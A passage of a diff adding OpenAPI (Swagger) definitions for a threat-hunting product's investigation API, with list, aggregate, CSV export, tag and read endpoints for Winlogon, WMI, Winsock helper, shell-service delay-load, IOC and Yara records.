+  /data/investigation/hunting/WindowsShellServiceObjectDelayLoadAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_WindowsShellServiceObjectDelayLoadAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/WindowsShellServiceObjectDelayLoad'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellServiceObjectDelayLoadAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_WindowsShellServiceObjectDelayLoadAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WindowsShellServiceObjectDelayLoadAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_WindowsShellServiceObjectDelayLoadAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/WindowsShellServiceObjectDelayLoadAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WindowsShellServiceObjectDelayLoadAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/WindowsShellServiceObjectDelayLoad'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/Winlogon/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Winlogon_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Winlogon'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Winlogon/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_Winlogon_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Winlogon/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_Winlogon_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/Winlogon/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Winlogon_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Winlogon'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/WinlogonAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_WinlogonAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Winlogon'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WinlogonAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_WinlogonAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WinlogonAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_WinlogonAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/WinlogonAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WinlogonAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Winlogon'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/WinlogonNotify/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WinlogonNotify_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/WinlogonNotify'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WinlogonNotify/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_WinlogonNotify_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WinlogonNotify/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_WinlogonNotify_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/WinlogonNotify/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WinlogonNotify_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/WinlogonNotify'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/WinlogonNotifyAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_WinlogonNotifyAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/WinlogonNotify'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WinlogonNotifyAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_WinlogonNotifyAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WinlogonNotifyAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_WinlogonNotifyAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/WinlogonNotifyAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WinlogonNotifyAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/WinlogonNotify'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/WinsockHelper/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WinsockHelper_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/WinsockHelper'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WinsockHelper/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_WinsockHelper_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WinsockHelper/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_WinsockHelper_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/WinsockHelper/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WinsockHelper_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/WinsockHelper'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/WinsockHelperAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_WinsockHelperAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/WinsockHelper'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WinsockHelperAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_WinsockHelperAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WinsockHelperAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_WinsockHelperAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/WinsockHelperAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WinsockHelperAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/WinsockHelper'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/Wmi/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Wmi_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Wmi'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Wmi/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_Wmi_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Wmi/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_Wmi_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/Wmi/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Wmi_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Wmi'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/WmiAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_WmiAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Wmi'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WmiAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_WmiAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WmiAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_WmiAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/WmiAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_WmiAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Wmi'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/ioc/IOC/:
+    get:
+      description: ""
+      operationId: data_investigation_ioc_IOC_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/IOC'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/ioc/IOC/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_ioc_IOC_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/ioc/IOC/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_ioc_IOC_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/ioc/IOC/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_ioc_IOC_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/IOC'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/ioc/IOCAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_ioc_IOCAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/IOC'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/ioc/IOCAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_ioc_IOCAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/ioc/IOCAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_ioc_IOCAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/ioc/IOCAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_ioc_IOCAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/IOC'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/ioc/Yara/:
+    get:
+      description: ""
+      operationId: data_investigation_ioc_Yara_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Yara'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/ioc/Yara/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_ioc_Yara_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/ioc/Yara/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_ioc_Yara_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/ioc/Yara/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_ioc_Yara_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Yara'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/ioc/YaraAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_ioc_YaraAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
